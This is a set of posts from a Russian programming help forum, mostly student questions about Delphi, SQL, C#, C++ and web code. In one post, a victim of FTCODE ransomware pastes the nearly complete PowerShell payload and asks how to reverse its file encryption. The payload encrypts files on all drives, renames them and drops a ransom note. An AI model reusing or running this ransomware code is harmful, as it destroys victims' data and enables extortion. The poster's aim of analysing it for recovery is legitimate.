Толковые учебники по C#

[.Тапка.]

Добрый день, ищу толковые учебники по С#. Естественно, гугл юзался, но хотелось бы рекомендаций от живых людей на книги, которые реально помогают. Дело в том, что у нас странно построена программа в институте, на мой взгляд. Изучение C# нам фактически дается самостоятельно, потому что лабы они вот сейчас уже, а в лекциях собственно самого языка мы коснемся только к апрелю. Из методы узнала основы, и сделала половину первой лабораторной работы. Собственно, на этом забуксовала и сижу в печали, потому что мне хороших книжек не попалось. (
Буду благодарна за помощь.

@темы: Вопрос, C#

---

Проблема авторизации

[Сигурд Лис]

Здравствуйте, есть такая проблема.
Сайт сделан на битриксе. при попытке зайти, ввожу логин. пароль. И ничего. сайт обновляется но ничего не происходит.

Какое есть решение, может кто подскажет?

@темы: Вопрос, Computer Science, PHP, Интернет

---

Гоняю червя

[SpiritOK]

Преамбула:
На машину проник злобный "вирус", шифрующий большую часть файлов и приписывающий им расширение .FTCODE . Сам по себе он представляет пришедшее по почте благодарственное письмо.hta, внутри представляет собой хта-шный скрипт, тянущий за собой powershell'ный.

Амбула:
Он вроде как рекурсивно обходит дерево каталогов и шифрует по rsa1024 с фиксированной солью первые 40Кб каждого файла, попадающего под маску, после чего лепит цидулю о том, как всё плохо и кому слать деньги.

Может ли кто-нибудь прокоментировать, как конкретно он шифрует и можно ли обратить эффект? У меня уже моск пухнет..
Пару текстовых строк подсократил, они в звёздочках. Возможно, пока парсил для читабельности, снёс какую-то фигурную скобку. Особо въедливым могу выслать рабочую копию =)

Открыт призовой фонд

$ErrorActionPreference="SilentlyContinue";
if((Get-Process -Name powershell).count -ge 2){exit}
$ref=[Reflection.Assembly]:LoadWithPartialName('System.Security');
Add-Type -Assembly System.Web;
$idpath = $env:APPDATA + "\" + (gwmi win32_computersystem).model;
if(Test-Path $idpath){$getc = Get-Content $idpath;if ($getc -eq "good"){exit} else {$ek = $getc}}
$ek=[Web.Security.Membership]:GeneratePassword(50, 4);
Set-Content -Path $idpath -Value $ek;
[byte[]]$bytes=[system.Text.Encoding]:Unicode.GetBytes($ek);
$basekey="BgIAAACkAABSU0ExAAQAAAEAAQDTYUZyVxhh48R/1Y/H5NdEgi49DIHtJTXm+mcVHnvUpYiNEnxpFj/UJXVDg0F2rfWFpnyqHJ0dbyjsOCwMX0eRyp2VxrWFzOHIM6QpevxGF9izXeNq7+OzBuo11V/7EmvQBW2sfuNEOP7zdUw0DFKoK+X2Taewaki1LGYhpshjqg==";
$rsa = New-Object System.Security.Cryptography.RSACryptoServiceProvider;
$rsa.ImportCspBlob([system.Convert]:FromBase64String($basekey));
$enckey=[system.Convert]:ToBase64String($rsa.Encrypt($bytes, $false));
$text= " *тут нас пугают* " + $enckey;
function Encrypt-File($item, $Passphrase)
{
$salt="BMCODE hack your system";
$init="BMCODE INIT";
$r = new-Object System.Security.Cryptography.RijndaelManaged;
$pass = [Text.Encoding]:UTF8.GetBytes($Passphrase);
$salt = [Text.Encoding]:UTF8.GetBytes($salt);
$r.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $pass, $salt, "SHA1", 5).GetBytes(32);
$r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]:UTF8.GetBytes($init) )[0..15];
$r.Padding="Zeros";
$r.Mode="CBC";
$c = $r.CreateEncryptor();
$ms = new-Object IO.MemoryStream;
$cs = new-Object Security.Cryptography.CryptoStream $ms,$c,"Write";$Hiof="Hiof";
$cs.Write($item, 0,$item.Length);
$cs.Close();
$ms.Close();
$r.Clear();
return $ms.ToArray();
}
$disks=Get-PSDrive|Where-Object {$_.Free -gt 50000}|Sort-Object -Descending;
foreach($disk in $disks){gci $disk.root -Recurse -Include "*.doc",*тут был список расширений*,"*.1cd" | %{try {$file=[io.file]:Open($_, 'Open', 'ReadWrite');
if ($file.Length -lt "40960"){$size=$file.Length}else{$size="40960"}[byte[]]$buff = new-object byte[] $size;
$ToEncrypt = $file.Read($buff, 0, $buff.Length);
$file.Position='0';
$Encrypted=Encrypt-File $buff $ek;
$file.Write($Encrypted, 0, $Encrypted.Length);
$file.Close();
$newname=$_.Name+'.FTCODE';
ren -Path $_.FullName -NewName $newname -Force;
$path=$_.DirectoryName+'\READ_ME_NOW.TXT';
if(!(Test-Path $path)){sc -pat $path -va $text}}catch{}}}Set-Content -Path $idpath -Value "good"

@темы: Windows, Вопрос, Алгоритм, Powershell

---

Диапазон дат

[Cyrus83]

Как объявить тип, являющийся диапазоном дат, к примеру от 1.01.1900 до 1.01.2000?

@темы: Delphi

---

Перенос сайта

[Сигурд Лис]

Нужен человек или фирма которые возьмется/утся перенести рукописный сайт на cms bitrix.
Новый стиль сайта есть сроки сжатые(сайт должен быть рабочим и сделанным на 95% к 14-му марта). При успешном сотрудничестве буду еще заказы, причем в количестве.

Наполнение сайта есть. Ценник обсуждаем.

@темы: Интернет, Работа

---

Microsoft SQL Server - запрос/подзапрос

[Le grand esprit!]

Здравствуйте! Подскажите, пожалуйста, как корректно составить запрос/подзапрос в MS SQL?

Так был поставлен вопрос вчера.

Есть две таблицы, которые содержат:
Первая nb.TBreport:
1. Дату и время, хранящиеся в секундах.
2. Вес груза
3. Id-номер бункера
Вторая nb.TBnitka:
1. Id-номер бункера
2. Название бункера

Задача в том, чтоб суммировать вес груза (только тот, что идёт на склад) по дате, а затем прибавить к этой сумме сумму за предыдущую дату.
В общем, сумму за конкретный день получилось найти, а вот как к ней прибавить сумму за предыдущий день - не получается.
Например сейчас так:
1 января - 100 кг
2 января - 200 кг
3 января - 300 кг
4 января - 250 кг
Должно получится так:
1 января - 100 кг
2 января - 300 кг
3 января - 600 кг
4 января - 850 кг

Так находится сумма веса за конкретный день:

SELECT     CONVERT(varchar, DATEADD(s, nb.TBreport.data, 25568), 102) AS Date, SUM(nb.TBreport.ves_vesi) AS Weight
FROM         nb.TBreport 
                     INNER JOIN nb.TBnitka ON nb.TBreport.id_nitka = nb.TBnitka.id
WHERE     (SUBSTRING(nb.TBnitka.name, 5, 8) LIKE 'на склад';) 
                     AND (CONVERT(varchar, DATEADD(s, nb.TBreport.data, 25568), 102) <= CONVERT(varchar, GETDATE(), 102))
GROUP BY CONVERT(varchar, DATEADD(s, nb.TBreport.data, 25568), 102)
ORDER BY Date DESC

А это пример неудачного неработающего кода, который должен посчитать сумма + сумма за предыдущую дату.

SELECT     CONVERT(varchar, DATEADD(s, nb.TBreport.data, 25568), 102) AS Date, 
		     SUM(nb.TBreport.ves_vesi)+(SELECT SUM(nb.TBreport.ves_vesi) FROM nb.TBreport INNER JOIN
                     nb.TBnitka ON nb.TBreport.id_nitka = nb.TBnitka.id WHERE CONVERT(varchar, DATEADD(s, nb.TBreport.data, 25567), 102))
FROM         nb.TBreport INNER JOIN
                     nb.TBnitka ON nb.TBreport.id_nitka = nb.TBnitka.id
WHERE     (SUBSTRING(nb.TBnitka.name, 5, 8) LIKE 'на склад';) AND (CONVERT(varchar, DATEADD(s, nb.TBreport.data, 25568), 102) <= CONVERT(varchar, 
                      GETDATE(), 102))
GROUP BY CONVERT(varchar, DATEADD(s, nb.TBreport.data, 25568), 102)
ORDER BY Date DESC

Вся проблема в условии в подзапросе (или ещё где-то). Не могу сообразить, как правильно написать, чтоб в подзапросе бралась сумма за предыдущее число?

UPD: Так описано более подробно.

В общем есть таблица с данными:
Дата-------------------------------Вес
2013-01-01 0:00:00------------100
2013-01-01 0:01:00------------150
2013-01-01 0:02:00------------130
2013-01-01 0:06:00------------0
2013-01-01 0:10:00------------90
2013-01-01 2:00:00------------200
2013-01-01 4:59:00------------100
2013-01-02 0:00:00------------300
2013-01-02 3:00:00------------400
2013-01-02 6:20:00------------500
2013-01-03 0:59:00------------100
2013-01-03 1:20:00------------300
2013-01-03 3:00:00------------400
2013-01-03 6:20:00------------500

Первый шаг: Найти сумму всех взвешиваний, сгруппировать по дате:

SELECT     CONVERT(varchar, DATEADD(s, nb.TBreport.data, 25568), 102) AS Date, SUM(nb.TBreport.ves_vesi) AS Weight
FROM         nb.TBreport 
                     INNER JOIN nb.TBnitka ON nb.TBreport.id_nitka = nb.TBnitka.id
WHERE     (SUBSTRING(nb.TBnitka.name, 5, 8) LIKE 'на склад') 
                     AND (CONVERT(varchar, DATEADD(s, nb.TBreport.data, 25568), 102) <= CONVERT(varchar, GETDATE(), 102))
GROUP BY CONVERT(varchar, DATEADD(s, nb.TBreport.data, 25568), 102)
ORDER BY Date DESC

Получается:

Дата--------------------Вес
2013-01-01------------770
2013-01-02------------1200
2013-01-03------------1300

А теперь второй шаг: Надо, чтоб отображалось так:

2013-01-01------------770 (т.к. предыдущей даты нет, остаётся как была)
2013-01-02------------1970 (т.к. 1200 + 770 (сумма за предыдущую дату))
2013-01-03------------3270 (т.к. 1300 + 1970 (сумма за предыдущую дату))

Как я понимаю, необходимо написать подзапрос, в котором нужно найти сумму за предыдущий день и потом сложить её с суммой за обычный день. Т.е. как-то так, но код работает неправильно, т.к. неправильно записано условие в подзапросе:

SELECT     CONVERT(varchar, DATEADD(s, nb.TBreport.data, 25568), 102) AS Date, 
		     SUM(nb.TBreport.ves_vesi)+(SELECT SUM(nb.TBreport.ves_vesi) FROM nb.TBreport INNER JOIN
                     nb.TBnitka ON nb.TBreport.id_nitka = nb.TBnitka.id WHERE CONVERT(varchar, DATEADD(s, nb.TBreport.data, 25567), 102))
FROM         nb.TBreport INNER JOIN
                     nb.TBnitka ON nb.TBreport.id_nitka = nb.TBnitka.id
WHERE     (SUBSTRING(nb.TBnitka.name, 5, 8) LIKE 'на склад';) AND (CONVERT(varchar, DATEADD(s, nb.TBreport.data, 25568), 102) <= CONVERT(varchar, 
                      GETDATE(), 102))
GROUP BY CONVERT(varchar, DATEADD(s, nb.TBreport.data, 25568), 102)
ORDER BY Date DESC

Как мне это исправить?

P.S. Дата хранится в секундах, поэтому используется CONVERT(varchar, DATEADD(s, nb.TBreport.data, 25568), 102).

запись создана: 25.02.2013 в 01:20

@темы: База данных, MS SQL

---

[.masa]

Добрый вечер!
Подскажите, знатоки, пожалуйста, сколько может стоить дипломный проект на php+mysql типа электронной библиотеки - возможность добавления/редактирования/удаления данных, просмотра и поиска, возможностью скачивания и оставления комментариев для зарегистрированных пользователей?

@темы: Вопрос

---

Excel

[NumberEight]

Очень нужна помощь с Экселем!

Пытаюсь сделать определенную формулу,но не знаю как.

Ячейки А3 по А7 - это порядковые номеры цен, выстроенных по возрастанию и указанных в ячейках В3 по В7. То есть, когда мы ссылаемся на ячейку А6 с порядковым номером 4,то подразумеваем цену в размере 180,допустим,рублей.

В общем, есть значение С12, которое зависит от значения В13, которое, в свою очередь, отражает значение А6. Поэтому нужно, чтобы если В13 показывает 4, то ячейка С12 должна отображать значение В6. А если,допустим,ячейка В13 будет отображать 3, то ячейка С12 автоматически показывала значение В5 (то есть 170).

Это вообще как-то возможно сделать? Облазила кучу мануалов по экселю,так ничего и не поняла.((

Спасите-помогите!

иллюстрация

@темы: Алгоритм, Excel

---

eclipse - regexp

[Mr.Freedom]

Помогите разобраться с eclipse - regexp-ами.
Нужно заменить:
1. // Step 1. blabla на info("Step 1. blabla")
2. ${var} на var
я гуглил, что то мне не помогло=\

@темы: Java

---

доработка плагина к tinymce

[Капитан Белиарх]

Сделали плагин для tinymce, он выбирает ссылки по категориям и вставляет их в текстовое поле. Я пытаюсь сделать то же самое для выборки по тегам (теги собраны в 1 определенной новости. сначала теги выбираются из нее, формируется список тегов, по каждому из тегов выбираются новости). Но выборка почему-то не работает хоть убейся(

в плагине js:

var tags;
...
tags = get_tags(); 
...
function get_tags(){
    
    jQuery.ajax({
        type: 'GET',
        url: '/admin/news/ajaxgettags',
        success: function(data){
            if (data & data.error ){
                alert(data.error);
            }else{
                tags=data.values;
                openTags();
            }            
        },
        dataType: 'json'
    });
}

В контроллере:

    public function ajaxgettagsAction() {
        $newstags_model = Model_NewsTags::getInstance();
  $news_id = 108824;
        $tags = $newstags_model->fetchByNewsId($news_id);
        $values = array();
        foreach ($tags as $tag) {   
            $item = array();
            $item['id'] = $tag;
            $item['name']= 'smth';
            $values[]=$item;
        }
        $this->view->values = $values;        
    }

В модели:

    public function fetchByNewsId($news_id)
    {
        $table = $this->_getTable();
        $select = $table->select()
            ->where('news_id=?', $news_id);
        $rows = Vida_Helpers_DB::fetchAll($table, $select);
        return $rows;
    }

При проверке на вызове function openTags() получается, что tags не существует. Это может быть потому, что допущены какие-то ошибки в openTags()? Или все равно должен быть хоть какой-то результат в tags?

@настроение: пичалько

@темы: Вопрос, База данных, Java script, PHP, Работа

---

Ребят,помогите пожалуйста...

[Shuga_Shuga]

Не получается задача...Дело в том,что нужно ее решить БЕЗ массивов . я не знаю как
вводится натуральное число n за которым следует n вещественных чисел . найти наибольшую из длин тех отрезков последовательности в которых числа идут в порядке неубывания
что-то есть,но не совсем правильно
#include "stdafx.h"
#include
#include
#include
#include
using namespace std;
int main()
{
double olda;
int n;
cout<<"n=";
cin >>n;
cout<<"olda";
cin>> olda;
int max=0, k=1;
for(int i=1;i>a;
if (a>olda)k++;
else{ if (k>max) max=k, k=1;}

olda=a;}
cout << max;
system("pause");
return 0;
}

---

[Aguinore]

0

Вопрос: Продуктивней для обучения

1. Решать конкретные задачи, пусть и очень сложные для новичка		27	(49.09%)
2. Решать из специализированных задачников, где сложность растет постепенно		28	(50.91%)
Всего:		55

@темы: Точка зрения

---

поиск не ищет

[.Тапка.]

есть прога, в ней должен производиться поиск в файле (метод золотого сечения), но ищет и выводит на одну позицию меньше, чем есть (на скрине видно)

я так думаю, что проблема в выводе данных на стринггрид.
собственно, код.

procedure TFSearch.BSearchClick(Sender: TObject);
var
flg:boolean;
pos,left,right,mid:integer;
z1:TZap1;
z2:TZap2;

begin

reset(f1);
 reset(f2);
 left:=0;
 right:=filesize(f1)-1;
 flg:=false;
  repeat
    mid:=trunc((right-left)/1.619)+left;
    seek(f1,mid);
    read(f1,z1);
    if z1.typez=StrToInt(SearchE.Text)
    then flg:=true
    else
      if StrToInt(SearchE.Text)<z1.typez then right:=mid-1
        else
          left:=mid+1
until (left>right) or flg;
if flg then showmessage('Нашел') else showmessage('Не нашел');

if flg then
  begin
    pos:=mid;
    while pos>=0 do
    begin
      seek(f1,pos);
      read(f1,z1);
      if StrToInt(SearchE.Text)<>z1.typez then break;
      seek(f2,0);
      while not eof(f2) do
      begin
        read(f2,z2);
        if z2.artic = z1.artic then
        begin
          with SG3 do
          begin
            Rowcount:=Rowcount+1;
            SG3.Cells[0,Rowcount-2]:=z1.name;
            SG3.Cells[1,Rowcount-2]:=IntToStr(z1.typez);
            SG3.Cells[2,Rowcount-2]:=IntToStr(z1.artic);
            SG3.Cells[3,Rowcount-2]:=IntToStr(z1.treb);
            SG3.Cells[4,Rowcount-2]:=IntToStr(z2.kol);
          end;
          break;
        end;
      end;
      dec(pos);
    end;
    pos:=mid+1;
    while pos<=filesize(f2)-1 do
    begin
      seek(f1,pos);
      read(f1,z1);
      if StrToInt(SearchE.Text)<>z1.typez then break;
      seek(f2,0);
      while not eof(f2) do
      begin
        read(f2,z2);
        if z1.artic=z2.artic then
        begin
          with SG3 do
            begin
            Rowcount:=Rowcount+1;
            SG3.Cells[0,Rowcount-2]:=z1.name;
            SG3.Cells[1,Rowcount-2]:=IntToStr(z1.typez);
            SG3.Cells[2,Rowcount-2]:=IntToStr(z1.artic);
            SG3.Cells[3,Rowcount-2]:=IntToStr(z1.treb);
            SG3.Cells[4,Rowcount-2]:=IntToStr(z2.kol);
            end;
          break;
        end;
        
      end;
      inc(pos);
      
    end;
  end;
  closefile(f1);
  closefile(f2);
  if not flg then Showmessage('Заказчиков с таким типом не найдено!');
end;

и может кто-нибудь подсказать функцию что бы полностью очистить стринггрид?
заранее спасибо

@темы: Delphi

---

си++, экзамен, основы

[счастливчик жизнелюбович]

нужна помощь с экзаменационной задачей по си++. экзамен 25 числа утром, тогда же станет ясно условие. пример задания:" создается класс stroka с закрытыми компонентами и дружественной компонентной функцией f1(), определяющей строки-палиндромы. в производном классе stroka1 для строк-палиндромов требуется определить число гласных букв, для остальных строк определить длину самого длинного слова. " вот такого уровня сложности условия. с меня вознаграждение - скромное материальное/шоколадка/большое человеческое спасибо/все, вместе взятое или еще что-то того же уровня на усмотрение вашей доброй души. очень надеюсь, что найдется кто-то, могущий выручить.

@темы: C++

---

Определитель матрицы любого размера по формуле Лапласа в Fortran

[ypyp]

Здравствуйте!
Задание из вуза - написать код на фортране для на хождения определителя матрицы любого размера (чтение из текстового файла) по формуле Лапласа.
Застрял на самой блок-схеме.
Спасибо (большое!)!

@темы: Алгоритм, Fortran

---

[Tabry]

Закрытая запись, не предназначенная для публичного просмотра

---

Delphi, списки

[GippoRex]

Еще раз доброго времени суток (но я надеюсь на ночь)!
У этот раз передо мной стоит задача с указателями. Итак, надо: ввести последовательность символов, вывести их в обратном порядке и после каждого элемента A добавить элемент #. Честно, тему динамической памяти знаю хуже, чем другие, так что мучаюсь над ней больше :/
Итак, первый мой вопрос: тут надо использовать стек, так? В него ведь записываются элементы сразу в обратном порядке.
Далее. Я придумала такую вот структуру программы (пока в сыром виде, извините за оформление!):

{описание элемента стека}
{описание функции 1, проверяющей, является ли элемент стека A}
{описание процедуры 2, добавляющей #}
{всякие прочие переменные}
//тело проги - начало

{заполняем стек с клавиатуры}
{пока указатель на следующее не станет пустым}
           {если 1 - true, то 2}
           {вывод элемента}
           {перераспределение указателей} 

//тело проги - конец

Я хотя бы думаю в верном направлении?

UPD. Ну, я все же решила действовать в заданном направлении.
Итак, у меня получилось это (сыро, опять извиняюсь за оформление):

uses
  SysUtils;
  Type kel= ^el;
      el = record
      data: char;
      prev: kel;
      next: kel;
      end;
  var sim: char;
      q, first: kel;
  function aornot(var data:char): boolean;   //функция на стадии младенчества
      aornot:=false;
      while first <> 0 do
      c:=ord(q^);
      if c = 65 then aornot:=true;
  end;
  procedure addocto(var data:char)           //процедура на стадии зародыша
      ЭЛЕМЕНТ = ЭЛЕМЕНТ + #

  begin
  Writeln('Add symbols for stack; for exit enter ctrl+z');
  readln(sim);
  new(first);
  first ^.data:=sim;
  first ^.prev:= nil;
  while not EOF do
    begin
      readln(sim);
      new(q);
      q^.data:=sim;
      q^.prev:=first;
      first:=q;
    end;
  while first <> 0 do
      begin
         if (aornot(q^)) then addocto(q^);

      end;
  end.

Собственно, если насчет тела проги я еще уверена, то в процедуре с функцией я плаваю. Например, компилятору не нравится, как я функцию объявляю false в начале. Интересно, чем?

@темы: Delphi

---

Delphi, файлы

[GippoRex]

Итак, теперь у меня проблемы с другой темой.
Задача: создать файл F и переписать в файл G нечетные строки.
Мой результат, который, несмотря на свою простоту и логичность (для меня, по крайней мере), крашится на одной строке, гррр:

uses
  SysUtils;
var f, g: text;
    fname, gname, fst, gst, stplus: string;
    i, j, n: integer;
begin
fname:='F';
gname:='G';
assign (f,fname);
assign (g,gname);
rewrite(f);
randomize;
n:=0;
for i:=1 to random(10)+5 do
   begin
      fst:='';
      inc(n);
      str(n,stplus);
      for j:=1 to 8 do
            fst:=fst+stplus;
      writeln(f, fst);
      writeln(fst);
   end;
rewrite(g);
while not EOF(f) do    {<=== ЭТА САМАЯ СТРОКА}
  begin
    Readln(f,fst);
    Writeln(g, gst);
    Writeln(g);
    readln(f, fst);
  end;
 close(f);
 close(g);
readln;
end.

Не понимаю, чем компилятору не понравился старый добрый эол. Ковырялась в окне отладки, но это не подсказало мне причину краша. Рассчитываю на вашу помощь, у меня уже правый глаз нервно подрагивает C:

@темы: Delphi

---

Delphi, матрица и строки

[GippoRex]

Всем доброго вечера!
Передо мной стоит такая задача: составить программу, которая считает сумму элементов строки квадратной матрицы и сравнивает ее с другими суммами. Если попадаются две равные - вывести сумму и номера строк, у которых она равна. Условие: никаких доп. массивов для хранения сумм. В общем-то, из-за этого условия мне пришлось все делать через циклы, но у меня такое ощущение, что я в них напортачила (даже почти уверена).
Вот что получилось у меня:

{$APPTYPE CONSOLE}
uses
  SysUtils;
var a: array [1..11, 1..11] of integer;
   i, j, n, sum1, sum2, num1, num2: integer;
   flag: boolean;
begin
randomize;
  writeln('Input value of n:');
  readln(n);
for i:=1 to n do
 begin
   for j:=1 to n do
   begin
      a[i,j]:= random(10);
      write(a[i,j], ' ');
   end;
   writeln;
 end;
sum1:=0;
sum2:=0;
num2:=0;
flag:= false;
  for i:=1 to n do
  begin
    for j:=1 to n do
      begin
      sum1:=sum1+a[i,j];
      num1:=j
      end;
    if sum1=sum2 then
      begin
      write('Summa: ', sum1, 'from strings:', num1, ' and ', num2);
      flag:=true;
      end;
    sum2:=sum1; {<=== Вот как раз сомнительный момент.}
    num2:=num1;
  end;
if not(flag) then writeln('There is not such strings');
readln;
end.

Мне кажется, что там надо либо все впихнуть в еще один цикл, либо ларчик просто открывался, а я в упор не вижу. Заранее спасибо за помощь!

+

Задание со строками. Дан текст. Надо вывести количество предложений, в которых слов больше 3. Вроде простая задача, но у меня в половине случаев счетчик немного "промахивается" и выдает неправильный результат. А в половине других - правильный. Понять не могу, где у меня огрешность, она ведь мелкая какая-нибудь по закону Мёрфи.

program Project1;

{$APPTYPE CONSOLE}

uses
  SysUtils;
var txt, dot, space, st: string;
    len_txt, len_st, st_end, word_end, now, nost: integer;
begin
writeln('Enter a text:');
readln(txt);
dot:= '.';
space:= ' ';
len_txt:=length(txt);
now:=0;
nost:=0;
while len_txt<>0 do
  begin
   st_end:= pos(dot, txt);
   len_txt:= len_txt-st_end;
   st:= copy(txt, 1, st_end-1)+space;
   len_st:= length(st);
   delete(txt, 1, st_end);
   while len_st<>0 do
      begin
      word_end:= pos(space, st);
      len_st:=len_st-word_end;
      now:= now+1;
      delete(st, 1, word_end);
      end;
   if now>3 then nost:=nost+1;
   now:=0;
  end;
writeln('Number of strings: ', nost);
readln;
end.

P.S. У меня сегодня день кода, так что не ругайтесь, если я тут тем напложу C:

@темы: Pascal

---

[Tabry]

Закрытая запись, не предназначенная для публичного просмотра